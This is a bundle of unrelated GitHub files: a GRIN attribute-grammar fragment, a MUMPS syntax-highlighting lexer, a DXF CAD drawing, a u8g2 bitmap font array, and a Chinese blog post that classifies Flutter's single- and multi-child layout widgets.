%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% Common stuff related to name introduction %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%[(8 codegen grin) ATTR AllGrPat [ | | introNmL USE {++} {[]}: {[HsName]} ] SEM GrPatAlt | Node lhs . introNmL = @fldL %%[[10 | NodeSplit lhs . introNmL = @nm : @fldL.introNmL %%] SEM GrPatLam | Var lhs . introNmL = [@nm] | VarNode lhs . introNmL = tail @fldL.introNmL | BasicNode EnumNode BasicAnnot EnumAnnot PtrAnnot PtrNode OpaqueNode OpaqueAnnot lhs . introNmL = [@nm] SEM GrVar | Var lhs . introNmL = [@nm] | KnownTag lhs . introNmL = [ error "introNmL known tag" ] | Ignore lhs . introNmL = [ ] %%] %%[(10 codegen grin) SEM GrSplit | Sel lhs . introNmL = [@nm] %%]
{ "pile_set_name": "Github" }
/* Copyright (C) 2011 Kitware Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^(?:"(?:[^"]|\\.)*")/,null,'"']],[["com",/^;[^\r\n]*/,null,";"],["dec",/^(?:\$(?:D|DEVICE|EC|ECODE|ES|ESTACK|ET|ETRAP|H|HOROLOG|I|IO|J|JOB|K|KEY|P|PRINCIPAL|Q|QUIT|ST|STACK|S|STORAGE|SY|SYSTEM|T|TEST|TL|TLEVEL|TR|TRESTART|X|Y|Z[A-Z]*|A|ASCII|C|CHAR|D|DATA|E|EXTRACT|F|FIND|FN|FNUMBER|G|GET|J|JUSTIFY|L|LENGTH|NA|NAME|O|ORDER|P|PIECE|QL|QLENGTH|QS|QSUBSCRIPT|Q|QUERY|R|RANDOM|RE|REVERSE|S|SELECT|ST|STACK|T|TEXT|TR|TRANSLATE|NaN))\b/i, null],["kwd",/^(?:[^\$]B|BREAK|C|CLOSE|D|DO|E|ELSE|F|FOR|G|GOTO|H|HALT|H|HANG|I|IF|J|JOB|K|KILL|L|LOCK|M|MERGE|N|NEW|O|OPEN|Q|QUIT|R|READ|S|SET|TC|TCOMMIT|TRE|TRESTART|TRO|TROLLBACK|TS|TSTART|U|USE|V|VIEW|W|WRITE|X|XECUTE)\b/i,null],["lit",/^[+-]?(?:(?:\.\d+|\d+(?:\.\d*)?)(?:E[+\-]?\d+)?)/i],["pln",/^[a-z][a-zA-Z0-9]*/i],["pun",/^[^\w\t\n\r\xA0\"\$;%\^]|_/]]),["mumps"]);
{ "pile_set_name": "Github" }
0 SECTION 2 HEADER 9 $INSUNITS 70 4 9 $ACADVER 1 AC1014 9 $HANDSEED 5 FFFF 0 ENDSEC 0 SECTION 2 TABLES 0 TABLE 2 VPORT 5 8 100 AcDbSymbolTable 0 ENDTAB 0 TABLE 2 LTYPE 5 5 100 AcDbSymbolTable 0 LTYPE 5 14 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 BYBLOCK 70 0 0 LTYPE 5 15 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 BYLAYER 70 0 0 ENDTAB 0 TABLE 2 LAYER 5 2 100 AcDbSymbolTable 70 2 0 LAYER 5 50 100 AcDbSymbolTableRecord 100 AcDbLayerTableRecord 2 0 70 0 6 CONTINUOUS 0 ENDTAB 0 TABLE 2 STYLE 5 3 100 AcDbSymbolTable 70 1 0 STYLE 5 11 100 AcDbSymbolTableRecord 100 AcDbTextStyleTableRecord 2 STANDARD 70 0 0 ENDTAB 0 TABLE 2 VIEW 5 6 100 AcDbSymbolTable 70 0 0 ENDTAB 0 TABLE 2 UCS 5 7 100 AcDbSymbolTable 70 0 0 ENDTAB 0 TABLE 2 APPID 5 9 100 AcDbSymbolTable 70 2 0 APPID 5 12 100 AcDbSymbolTableRecord 100 AcDbRegAppTableRecord 2 ACAD 70 0 0 ENDTAB 0 TABLE 2 DIMSTYLE 5 A 100 AcDbSymbolTable 70 1 0 ENDTAB 0 TABLE 2 BLOCK_RECORD 5 1 100 AcDbSymbolTable 70 1 0 BLOCK_RECORD 5 1F 100 AcDbSymbolTableRecord 100 AcDbBlockTableRecord 2 *MODEL_SPACE 0 BLOCK_RECORD 5 1B 100 AcDbSymbolTableRecord 100 AcDbBlockTableRecord 2 *PAPER_SPACE 0 ENDTAB 0 ENDSEC 0 SECTION 2 BLOCKS 0 BLOCK 5 20 100 AcDbEntity 100 AcDbBlockBegin 2 *MODEL_SPACE 0 ENDBLK 5 21 100 AcDbEntity 100 AcDbBlockEnd 0 BLOCK 5 1C 100 AcDbEntity 100 AcDbBlockBegin 2 *PAPER_SPACE 0 ENDBLK 5 1D 100 AcDbEntity 100 AcDbBlockEnd 0 ENDSEC 0 SECTION 2 ENTITIES 0 LINE 5 100 100 AcDbEntity 8 0 100 AcDbLine 10 -33.912506771087713 20 -50.872264814376827 30 1.1397338184337968e-07 11 -33.912506770996032 21 -42.619721741709391 31 1.1397338184337968e-07 0 LINE 5 101 100 AcDbEntity 8 0 100 AcDbLine 10 -35.712506771087682 20 -42.619721741709391 30 1.1397338184337968e-07 11 -35.712506771087682 21 -58.672264814376803 31 1.1397338184337968e-07 0 ARC 5 102 100 AcDbEntity 8 0 100 AcDbCircle 10 -30.712506771087682 20 -58.672264814376831 30 1.1397338184337968e-07 40 5 100 AcDbArc 50 180 51 270.0000000000004 0 LINE 5 103 100 AcDbEntity 8 0 100 AcDbLine 10 -30.712506771087646 20 -63.672264814376831 30 1.1397338184337968e-07 11 99.287493228912297 21 -63.672264814376831 31 1.1397338184337968e-07 0 ARC 5 104 100 AcDbEntity 8 0 100 AcDbCircle 10 99.287493228912325 20 -58.672264814376831 30 1.1397338184337968e-07 40 5 100 AcDbArc 50 -90.000000000000313 51 0 0 LINE 5 105 100 AcDbEntity 8 0 100 AcDbLine 10 104.28749322891234 20 -58.672264814376803 30 1.1397338184337968e-07 11 104.28749322891235 21 71.327735185623126 31 1.1397338184337968e-07 0 ARC 5 106 100 AcDbEntity 8 0 100 AcDbCircle 10 99.287493228912325 20 71.327735185623155 30 1.1397338184337968e-07 40 5.0000000000000355 100 AcDbArc 50 0 51 90.000000000000327 0 LINE 5 107 100 AcDbEntity 8 0 100 AcDbLine 10 99.287493228912297 20 76.327735185623169 30 1.1397338184337968e-07 11 -30.712506771087646 21 76.327735185623155 31 1.1397338184337968e-07 0 ARC 5 108 100 AcDbEntity 8 0 100 AcDbCircle 10 -30.712506771087682 20 71.327735185623155 30 1.1397338184337968e-07 40 5 100 AcDbArc 50 89.999999999999588 51 180 0 LINE 5 109 100 AcDbEntity 8 0 100 AcDbLine 10 -35.712506771087682 20 71.327735185623141 30 1.1397338184337968e-07 11 -35.712506771087682 21 -40.629628064869436 31 1.1397338184337968e-07 0 LINE 5 110 100 AcDbEntity 8 0 100 AcDbLine 10 -33.912506770996053 20 -40.629628064869429 30 1.1397338184337968e-07 11 -33.912506771087791 21 63.527735185623307 31 1.1397338184337968e-07 0 ARC 5 111 100 AcDbEntity 8 0 100 AcDbCircle 10 -32.151343980390138 20 63.527735185623264 30 1.1397338184337968e-07 40 1.761162790697681 100 AcDbArc 50 50.325219590905057 51 180 0 ARC 5 112 100 AcDbEntity 8 0 100 AcDbCircle 10 -27.96250677108781 20 68.577735185623268 30 1.1397338184337968e-07 40 4.7999999999999954 100 AcDbArc 50 -129.67478040909486 51 39.674780409094012 0 ARC 5 113 100 AcDbEntity 8 0 100 AcDbCircle 10 -22.912506771087749 20 72.766572394925518 30 1.1397338184337968e-07 40 1.7611627906976679 100 AcDbArc 50 90.000000000001506 51 219.6747804090941 0 LINE 5 114 100 AcDbEntity 8 0 100 AcDbLine 10 -22.912506771087795 20 74.527735185623186 30 1.1397338184337968e-07 11 91.487493228912356 21 74.527735185623285 31 1.1397338184337968e-07 0 ARC 5 115 100 AcDbEntity 8 0 100 AcDbCircle 10 91.487493228912314 20 72.766572394925632 30 1.1397338184337968e-07 40 1.7611627906976879 100 AcDbArc 50 -39.674780409094893 51 89.999999999998607 0 ARC 5 116 100 AcDbEntity 8 0 100 AcDbCircle 10 96.537493228912311 20 68.577735185623311 30 1.1397338184337968e-07 40 4.7999999999999892 100 AcDbArc 50 140.32521959090516 51 309.67478040909424 0 ARC 5 117 100 AcDbEntity 8 0 100 AcDbCircle 10 100.72633043821457 20 63.527735185623257 30 1.1397338184337968e-07 40 1.7611627906976857 100 AcDbArc 50 0 51 129.67478040909396 0 LINE 5 118 100 AcDbEntity 8 0 100 AcDbLine 10 102.48749322891227 20 63.5277351856233 30 1.1397338184337968e-07 11 102.48749322891243 21 -50.872264814376891 31 1.1397338184337968e-07 0 ARC 5 119 100 AcDbEntity 8 0 100 AcDbCircle 10 100.72633043821472 20 -50.872264814376884 30 1.1397338184337968e-07 40 1.7611627906976879 100 AcDbArc 50 230.32521959090548 51 360 0 ARC 5 120 100 AcDbEntity 8 0 100 AcDbCircle 10 96.537493228912368 20 -55.922264814376838 30 1.1397338184337968e-07 40 4.7999999999999705 100 AcDbArc 50 50.325219590904418 51 219.67478040909455 0 ARC 5 121 100 AcDbEntity 8 0 100 AcDbCircle 10 91.487493228912342 20 -60.111102023679138 30 1.1397338184337968e-07 40 1.7611627906976945 100 AcDbArc 50 -90 51 39.674780409094588 0 LINE 5 122 100 AcDbEntity 8 0 100 AcDbLine 10 91.487493228912342 20 -61.872264814376834 30 1.1397338184337968e-07 11 -22.912506771087813 21 -61.872264814376848 31 1.1397338184337968e-07 0 ARC 5 123 100 AcDbEntity 8 0 100 AcDbCircle 10 -22.91250677108777 20 -60.11110202367918 30 1.1397338184337968e-07 40 1.761162790697681 100 AcDbArc 50 140.32521959090496 51 269.99999999999864 0 ARC 5 124 100 AcDbEntity 8 0 100 AcDbCircle 10 -27.962506771087767 20 -55.922264814376881 30 1.1397338184337968e-07 40 4.7999999999999785 100 AcDbArc 50 -39.674780409094595 51 129.67478040909401 0 ARC 5 125 100 AcDbEntity 8 0 100 AcDbCircle 10 -32.151343980390045 20 -50.87226481437682 30 1.1397338184337968e-07 40 1.7611627906976679 100 AcDbArc 50 180 51 309.67478040909486 0 CIRCLE 5 126 100 AcDbEntity 8 0 100 AcDbCircle 10 96.537493228912311 20 68.577735185623311 30 1.1397338184337968e-07 40 2.2000000000018396 0 CIRCLE 5 127 100 AcDbEntity 8 0 100 AcDbCircle 10 -27.96250677108781 20 68.577735185623268 30 1.1397338184337968e-07 40 2.2000000000049273 0 CIRCLE 5 128 100 AcDbEntity 8 0 100 AcDbCircle 10 -27.962506771087767 20 -55.922264814376881 30 1.1397338184337968e-07 40 2.200000000003616 0 CIRCLE 5 129 100 AcDbEntity 8 0 100 AcDbCircle 10 96.537493228912368 20 -55.922264814376838 30 1.1397338184337968e-07 40 2.1999999999999797 0 LINE 5 130 100 AcDbEntity 8 0 100 AcDbLine 10 -33.912506771087713 20 -50.872264814376827 30 0 11 -33.912506770996032 21 -42.619721741709391 31 0 0 LINE 5 131 100 AcDbEntity 8 0 100 AcDbLine 10 -35.712506771087682 20 -42.619721741709391 30 0 11 -35.712506771087682 21 -58.672264814376803 31 0 0 ARC 5 132 100 AcDbEntity 8 0 100 AcDbCircle 10 -30.712506771087682 20 -58.672264814376831 30 0 40 5 100 AcDbArc 50 180 51 270.0000000000004 0 LINE 5 133 100 AcDbEntity 8 0 100 AcDbLine 10 -30.712506771087646 20 -63.672264814376831 30 0 11 99.287493228912297 21 -63.672264814376831 31 0 0 ARC 5 134 100 AcDbEntity 8 0 100 AcDbCircle 10 99.287493228912325 20 -58.672264814376831 30 0 40 5 100 AcDbArc 50 -90.000000000000313 51 0 0 LINE 5 135 100 AcDbEntity 8 0 100 AcDbLine 10 104.28749322891233 20 -58.672264814376803 30 0 11 104.28749322891235 21 71.327735185623126 31 0 0 ARC 5 136 100 AcDbEntity 8 0 100 AcDbCircle 10 99.287493228912325 20 71.327735185623155 30 0 40 5.0000000000000355 100 AcDbArc 50 0 51 90.000000000000327 0 LINE 5 137 100 AcDbEntity 8 0 100 AcDbLine 10 99.287493228912297 20 76.327735185623169 30 0 11 -30.712506771087646 21 76.327735185623155 31 0 0 ARC 5 138 100 AcDbEntity 8 0 100 AcDbCircle 10 -30.712506771087682 20 71.327735185623155 30 0 40 5 100 AcDbArc 50 89.999999999999588 51 180 0 LINE 5 139 100 AcDbEntity 8 0 100 AcDbLine 10 -35.712506771087689 20 71.327735185623141 30 0 11 -35.712506771087682 21 -40.629628064869436 31 0 0 LINE 5 140 100 AcDbEntity 8 0 100 AcDbLine 10 -33.912506770996053 20 -40.629628064869429 30 0 11 -33.912506771087791 21 63.527735185623307 31 0 0 ARC 5 141 100 AcDbEntity 8 0 100 AcDbCircle 10 -32.151343980390138 20 63.527735185623264 30 0 40 1.761162790697681 100 AcDbArc 50 50.325219590905057 51 180 0 ARC 5 142 100 AcDbEntity 8 0 100 AcDbCircle 10 -27.962506771087817 20 68.577735185623268 30 0 40 4.7999999999999927 100 AcDbArc 50 -129.67478040909481 51 39.674780409094048 0 ARC 5 143 100 AcDbEntity 8 0 100 AcDbCircle 10 -22.912506771087749 20 72.766572394925518 30 0 40 1.7611627906976679 100 AcDbArc 50 90.000000000001506 51 219.67478040909384 0 LINE 5 144 100 AcDbEntity 8 0 100 AcDbLine 10 -22.912506771087795 20 74.527735185623186 30 0 11 91.487493228912356 21 74.527735185623285 31 0 0 ARC 5 145 100 AcDbEntity 8 0 100 AcDbCircle 10 91.487493228912314 20 72.766572394925632 30 0 40 1.7611627906976879 100 AcDbArc 50 -39.674780409094893 51 89.999999999998607 0 ARC 5 146 100 AcDbEntity 8 0 100 AcDbCircle 10 96.537493228912311 20 68.577735185623325 30 0 40 4.7999999999999838 100 AcDbArc 50 140.32521959090528 51 309.67478040909413 0 ARC 5 147 100 AcDbEntity 8 0 100 AcDbCircle 10 100.72633043821457 20 63.527735185623257 30 0 40 1.7611627906976857 100 AcDbArc 50 0 51 129.67478040909396 0 LINE 5 148 100 AcDbEntity 8 0 100 AcDbLine 10 102.48749322891227 20 63.5277351856233 30 0 11 102.48749322891243 21 -50.872264814376891 31 0 0 ARC 5 149 100 AcDbEntity 8 0 100 AcDbCircle 10 100.72633043821472 20 -50.872264814376884 30 0 40 1.7611627906976992 100 AcDbArc 50 230.32521959090474 51 360 0 ARC 5 150 100 AcDbEntity 8 0 100 AcDbCircle 10 96.537493228912382 20 -55.922264814376838 30 0 40 4.7999999999999483 100 AcDbArc 50 50.325219590904808 51 219.67478040909452 0 ARC 5 151 100 AcDbEntity 8 0 100 AcDbCircle 10 91.487493228912342 20 -60.111102023679138 30 0 40 1.7611627906976945 100 AcDbArc 50 -90.000000000000455 51 39.67478040909436 0 LINE 5 152 100 AcDbEntity 8 0 100 AcDbLine 10 91.487493228912328 20 -61.872264814376834 30 0 11 -22.912506771087813 21 -61.872264814376848 31 0 0 ARC 5 153 100 AcDbEntity 8 0 100 AcDbCircle 10 -22.91250677108777 20 -60.11110202367918 30 0 40 1.7611627906976846 100 AcDbArc 50 140.32521959090505 51 269.99999999999864 0 ARC 5 154 100 AcDbEntity 8 0 100 AcDbCircle 10 -27.962506771087764 20 -55.922264814376881 30 0 40 4.7999999999999705 100 AcDbArc 50 -39.674780409094694 51 129.67478040909413 0 ARC 5 155 100 AcDbEntity 8 0 100 AcDbCircle 10 -32.151343980390045 20 -50.87226481437682 30 0 40 1.7611627906976679 100 AcDbArc 50 180 51 309.67478040909464 0 CIRCLE 5 156 100 AcDbEntity 8 0 100 AcDbCircle 10 96.537493228908858 20 68.577735185623197 30 0 40 2.2000000000018396 0 CIRCLE 5 157 100 AcDbEntity 8 0 100 AcDbCircle 10 -27.962506771091178 20 68.577735185619673 30 0 40 2.2000000000049273 0 CIRCLE 5 158 100 AcDbEntity 8 0 100 AcDbCircle 10 -27.962506771087654 20 -55.922264814380355 30 0 40 2.200000000003616 0 CIRCLE 5 159 100 AcDbEntity 8 0 100 AcDbCircle 10 96.537493228912368 20 -55.922264814376838 30 0 40 2.1999999999999797 0 CIRCLE 5 160 100 AcDbEntity 8 0 100 AcDbCircle 10 34.287493228912325 20 6.3277351856231689 30 0 40 65 0 LINE 5 161 100 AcDbEntity 8 0 100 AcDbLine 10 -35.712506771087682 20 -42.619721741709391 30 0 11 -35.712506771087682 21 -40.629628064869436 31 1.1397338184337968e-07 0 LINE 5 162 100 AcDbEntity 8 0 100 AcDbLine 10 -33.912506770996032 20 -42.619721741709391 30 0 11 -33.912506770996053 21 -40.629628064869429 31 0 0 ENDSEC 0 SECTION 2 OBJECTS 0 DICTIONARY 5 C 100 AcDbDictionary 3 ACAD_GROUP 350 D 3 ACAD_MLINESTYLE 350 17 0 DICTIONARY 5 D 100 AcDbDictionary 0 DICTIONARY 5 1A 330 C 100 AcDbDictionary 0 DICTIONARY 5 17 100 AcDbDictionary 0 ENDSEC 0 EOF
{ "pile_set_name": "Github" }
/* Fontname: -FreeType-Amstrad CPC extended-Medium-R-Normal--8-80-72-72-P-64-ISO10646-1 Copyright: Copyright ruboku 2008 Glyphs: 18/228 BBX Build Mode: 3 */ const uint8_t u8g2_font_amstrad_cpc_extended_8n[235] U8X8_FONT_SECTION("u8g2_font_amstrad_cpc_extended_8n") = "\22\3\4\3\4\4\1\1\5\10\7\0\0\10\0\10\1\0\0\0\0\0\322 \7\210\343\307\21\0*\16" "\210\343\24\221!\71\10\241\21\221\7\1+\13\210\343\25\23\62\22\223\7\2,\11\210\343G-&%\4" "-\10\210\343\7\265G\3.\10\210\343G-&\13/\10\210\343\322g\361\0\60\22\210\343(\221\221\20" "\231\220\210\220\30\221\220\21)\5\61\12\210\343\221\32\323\221%\0\62\16\210c\241\21\21\223\241\21\23\21" "\261\4\63\15\210c\241\211\21\23\232\23QC\12\64\16\210\343\221\32\212\220\11\221\71\222\42\5\65\15\210" "\343\60\221\11\221\243\23QC\12\66\15\210c\241\21QV#\242\15)\0\67\14\210\343\60\211\221\232R" "\246\26\0\70\15\210c\241\21\321\206FD\33R\0\71\15\210c\241\21\321\246LD\15)\0:\12\210" "\343\7\22\23\27\223\5\0\0\0";
{ "pile_set_name": "Github" }
# Flutter 布局控件完结篇 > 本文对Flutter的29种布局控件进行了总结分类,讲解一些布局上的优化策略,以及面对具体的布局时,如何去选择控件。 ## 1. 系列文章 1. [Flutter 布局详解](https://github.com/yang7229693/flutter-study/blob/master/post/3.%20Flutter%20%E5%B8%83%E5%B1%80%E8%AF%A6%E8%A7%A3.md) 2. [Flutter 布局(一)- Container详解](https://github.com/yang7229693/flutter-study/blob/master/post/4.%20Flutter%20%E5%B8%83%E5%B1%80%EF%BC%88%E4%B8%80%EF%BC%89-%20Container%E8%AF%A6%E8%A7%A3.md) 3. [Flutter 布局(二)- Padding、Align、Center详解](https://github.com/yang7229693/flutter-study/blob/master/post/5.%20Flutter%20%E5%B8%83%E5%B1%80%EF%BC%88%E4%BA%8C%EF%BC%89-%20Padding%E3%80%81Align%E3%80%81Center%E8%AF%A6%E8%A7%A3.md) 4. [Flutter 布局(三)- FittedBox、AspectRatio、ConstrainedBox详解](https://github.com/yang7229693/flutter-study/blob/master/post/6.%20Flutter%20%E5%B8%83%E5%B1%80%EF%BC%88%E4%B8%89%EF%BC%89-%20FittedBox%E3%80%81AspectRatio%E3%80%81ConstrainedBox%E8%AF%A6%E8%A7%A3.md) 5. [Flutter 布局(四)- Baseline、FractionallySizedBox、IntrinsicHeight、IntrinsicWidth详解](https://github.com/yang7229693/flutter-study/blob/master/post/8.%20Flutter%20%E5%B8%83%E5%B1%80%EF%BC%88%E5%9B%9B%EF%BC%89-%20Baseline%E3%80%81FractionallySizedBox%E3%80%81IntrinsicHeight%E3%80%81IntrinsicWidth%E8%AF%A6%E8%A7%A3.md) 6. [Flutter 布局(五)- LimitedBox、Offstage、OverflowBox、SizedBox详解](https://github.com/yang7229693/flutter-study/blob/master/post/9.%20Flutter%20%E5%B8%83%E5%B1%80%EF%BC%88%E4%BA%94%EF%BC%89-%20LimitedBox%E3%80%81Offstage%E3%80%81OverflowBox%E3%80%81SizedBox%E8%AF%A6%E8%A7%A3.md) 7. [Flutter 布局(六)- SizedOverflowBox、Transform、CustomSingleChildLayout详解](https://github.com/yang7229693/flutter-study/blob/master/post/10.%20Flutter%20%E5%B8%83%E5%B1%80%EF%BC%88%E5%85%AD%EF%BC%89-%20SizedOverflowBox%E3%80%81Transform%E3%80%81CustomSingleChildLayout%E8%AF%A6%E8%A7%A3.md) 8. [Flutter 布局(七)- Row、Column详解](https://github.com/yang7229693/flutter-study/blob/master/post/11.%20Flutter%20%E5%B8%83%E5%B1%80%EF%BC%88%E4%B8%83%EF%BC%89-%20Row%E3%80%81Column%E8%AF%A6%E8%A7%A3.md) 9. [Flutter 布局(八)- Stack、IndexedStack、GridView详解](https://github.com/yang7229693/flutter-study/blob/master/post/12.%20Flutter%20%E5%B8%83%E5%B1%80%EF%BC%88%E5%85%AB%EF%BC%89-%20Stack%E3%80%81IndexedStack%E3%80%81GridView%E8%AF%A6%E8%A7%A3.md) 10. [Flutter 布局(九)- Flow、Table、Wrap详解](https://github.com/yang7229693/flutter-study/blob/master/post/13.%20Flutter%20%E5%B8%83%E5%B1%80%EF%BC%88%E4%B9%9D%EF%BC%89-%20Flow%E3%80%81Table%E3%80%81Wrap%E8%AF%A6%E8%A7%A3.md) 11. [Flutter 布局(十)- ListBody、ListView、CustomMultiChildLayout详解](https://github.com/yang7229693/flutter-study/blob/master/post/14.%20Flutter%20%E5%B8%83%E5%B1%80%EF%BC%88%E5%8D%81%EF%BC%89-%20ListBody%E3%80%81ListView%E3%80%81CustomMultiChildLayout%E8%AF%A6%E8%A7%A3.md) ### 1.1 乱侃 前前后后也算是拖拖拉拉的写了一些Flutter的文章,写的也都比较粗略。最近工作调动,内部换了部门,一顿瞎忙活,也打乱了原本的分享计划。 从我最开始接触Flutter到现在,差不多四个多月了。在这段时间里面,Flutter也发布了Release Preview版本。各个技术网站本着先拨头筹的心态,推广了几波,国内的人气跟着也起来了不少。全世界Flutter开发人员中,国内从业者占据了很大的比重,这个现象本身并不能说明什么,不过可以反映一点,有商业诉求吧。当然观望的还是占绝大部分,除了一些个人开发者爱折腾外,也就是一些大的业务成熟到不能再成熟的团队,内部消化人员去折腾这个了。 插个题外话,有感于最近的工作变动,这段时间胡思乱想的比较多。一门技术对程序员来说到底意味着什么?如果不需要再为生计奔波,是否还会对目前已上手的技术感兴趣?如果你现在的项目所需要的技术,对你个人而言毫无加成,只会浪费你的时间,让你在已有的技术栈上渐行渐远,你是否还会参与这个项目。只有极少数人会遇上逆天改命的项目,不管参与什么项目,技术人员的立身之本始终是技术(高管或者打算换行的除外),技术的选型,除去时间效率后续维护等普适性的考虑要素外,排在第一位的始终应该是对自身的提高,扯的有些远了哈。 ### 1.2 本质 我数了一下我文章总结过的布局控件,总共有29种。乍看会觉得真鸡毛的多,不乍看,也会觉得鸡毛的真多。为什么其他的移动平台没有这么多布局控件呢?其实不然,其他平台没有这么细分。 以Android平台为例,最基础的几种布局例如LinearLayout、RelativeLayout、ConstraintLayout等等。很多Flutter的控件,对于Android来说,仅仅是一个属性的设置问题。 再往上看,iOS、Android、Web这些平台的布局,其实最基本就那几种,线性布局、绝对布局、相对布局等等。Flutter也逃不出这些,那为什么Flutter现在有这么多布局控件呢? * 第一点,之前文章介绍过的,Flutter的理念是`万物皆为widget`。这和Flutter的实现机制有关,而不是因为它在布局上有什么特殊性,这也是最主要的一点。 * 第二点,我觉得是因为这是Flutter的初期,如果有经历过一个技术的完整发展周期,就会明白,前期只是提供各种零件,只有商业支撑或者人员支撑足够的时候,才会去优化零件。而现在就是这么一种资源不足的状态。各种组件可以合并的有很多,底层的实现机制不会变,只是再加一层即可,这也是可以造轮子的地方,例如封装一套适用于Android、iOS或者Web人员的控件库等。 * 第三点,跟初期相关,一套新的技术,各种东西不可能一下子全想明白,路总是走着走着才发现走歪了,就像一些控件,可能一些地方合适,但是一些新的地方又不太合适,所以就再造一个,所以有些控件看起来功能十分相似。 说了这么多,我其实就想说明一点,Flutter现在还只是处在社会发展的初级阶段,还处在温饱问题都解决不了的状态,想达到小康还需要很长的一段路要走。 ## 2. 单节点控件 单节点控件,顾名思义就是只有一个节点的布局控件。这种控件有多少个呢,我之前文章总结过的有18种,现阶段还是不排除增加的可能,哈哈。 ### 2.1 分类 在这小节里,我尝试从多个维度去对这些控件进行分类,希望这样可以帮助大家理解。 #### 2.1.1 按照继承划分 ![Flutter单节点布局控件继承分类](http://whysodiao.com/images/Flutter-Single-Widget.jpg) 上面是这18种控件的父节点层面的继承关系,唯一不同的一个控件就是Container。所以按照是否继承自SingleChildRenderObjectWidget的分类如下: * 继承自StatelessWidget的控件,有Container。 * 继承自SingleChildRenderObjectWidget的控件,有Padding、Align、Center、FittedBox、AspectRatio、ConstrainedBox、Baseline、FractionallySizedBox、IntrinsicHeight、IntrinsicWidth、LimitedBox、Offstage、OverflowBox、SizedBox、SizedOverflowBox、Transform、CustomSingleChildLayout。 Container是一个组合控件,不是一个基础控件,这点从继承关系就可以看出来。 #### 2.1.2 按照功能是否单一划分 分类如下: * 功能不单一的控件,Container、Transform、FittedBox、SizedOverflowBox。 * 功能单一的控件,有Padding、Align、Center、AspectRatio、ConstrainedBox、Baseline、FractionallySizedBox、IntrinsicHeight、IntrinsicWidth、LimitedBox、Offstage、OverflowBox、SizedBox、CustomSingleChildLayout。 先在此处小结一下,可以看出Container的特殊之处了吧,为什么Container这么特殊了。这个特殊要从两个层面去看。 * 对于Flutter而言,Container是特殊的,因为它不是功能单一的控件,是一个组合的控件,所以它相对于Flutter是特殊的。 * 对于移动端开发者而言,它不是特殊的,因为很多UI都是一些基础功能组合的,这样能让开发者更方便的使用。 那能得出什么结论呢?我个人觉得,Container这种组合的控件会越来越多,也会有个人开发者去开发这种通用型的组合控件,这是一个大趋势,是Flutter走向易用的一小步。 #### 2.1.3 按照功能划分 在此处我按照定位、尺寸、绘制三部分来尝试着去做功能的划分,当然这个划分并不绝对,仁者见仁吧。 * 定位控件:Container、Align、Center、FittedBox、Baseline、Transform。 * 尺寸控件:Container、FittedBox、AspectRatio、ConstrainedBox、FractionallySizedBox、IntrinsicHeight、IntrinsicWidth、LimitedBox、SizedBox、SizedOverflowBox。 * 绘制控件:Container、Padding、Offstage、OverflowBox、SizedOverflowBox、Transform。 有一个控件并没有归到这三类中,CustomSingleChildLayout可以自定义实现,此处不做分类。Baseline可以把它放到绘制里面去,此处我按照调节文字的位置去做分类,这个大家知道就行,并不是说只能这么划分。 对于绘制控件,其实分的有些杂,我把显示相关的都归到这里,例如是否显示、内边距、是否超出显示以及变形等等。 每一种大类,Flutter都提供了多种控件。经过这么划分,可以看出很多控件功能的交叉,很多时候一个属性的事情,Flutter还是分出了一个控件。 ![Flutter单节点布局控件功能分类](http://whysodiao.com/images/Flutter-Single-Child-Category.jpg) ### 2.2 使用 单节点控件虽然这么多,但是大部分不会挨个去尝试。对于大部分人而言,都是佛系的用法,一个控件能够使用,就一直用到死。 在布局上,大方向还是不停的`拆`,把一张设计图,拆成一棵树,每个节点根据需要,选择合适的控件,然后从根部开始不停嵌套,布局就完成了。 ### 2.3 控件的选择 控件种类繁多,真正使用的时候该如何去选择呢?有万金油的做法,不管啥都用Container,这也是很多初接触的人经常干的方式。这么做的确可以按照设计图把布局给实现了,但是会涉及到一些性能上的问题。 控件的选择,`按照控件最小功能的标准去选择`。例如需要将子节点居中,可以使用Container设置alignment的方式,也可以使用Center。但是从功能上,Center是最小级别的,因此选择它的话,额外的开销会最小。 将UI实现了,这只是最基本的,当达到这一步了,应该更多的去思考,如何更好的布局,使得性能更高。 ## 3. 多节点控件 多节点控件的种类就少了一些,虽然也有11种,但是功能和场景多了,所以选择上反而会简单一些。 ### 3.1 分类 多节点控件内部实现比单节点控件复杂的多,会从继承以及功能两个方向去做分类。 #### 3.1.1 按照继承划分 ![Flutter多节点布局控件继承分类](http://whysodiao.com/images/Flutter-Multi-Widget.jpg) 从上图可以看出,多节点布局控件基本上可以分为三条线 * 继承自BoxScrollView的控件,有GridView以及ListView; * 继承自MultiChildRenderObjectWidget的控件,有Row、Column、Flow、Wrap、Stack、IndexedStack、ListBody、CustomMultiChildLayout八种; * 继承自RenderObjectWidget的控件,有Table一种。 之前介绍过,GridView和ListView的实现都是非常相似的,基本上就是silvers只包含一个Sliver(GridView为SilverGrid、ListVIew为SliverList)的CustomScrollView。 这也是为啥这两元素都继承自BoxScrollView的缘故。 MultiChildRenderObjectWidget类,官方解读如下 > A superclass for RenderObjectWidgets that configure RenderObject subclasses that have a single list of children. 它只是一个含有单一list子节点的控件,为什么Table不需要继承自MultiChildRenderObjectWidget呢? 这是因为Table的子节点是二维(横竖)的,而MultiChildRenderObjectWidget提供的是一个一维的子节点管理,所以必须继承自RenderObjectWidget。知道了这些过后,对继承关系的理解会有更好的帮助。 #### 3.1.2 按照功能划分 这个对于多节点布局控件来说,还是比较难以划分的,笔者试着做了如下划分: * 列表:GridView、ListView; * 单列单行或者多列多行:Row、Column、Flow、Wrap、ListBody、Table; * 显示位置相关:Stack、IndexedStack、CustomMultiChildLayout。 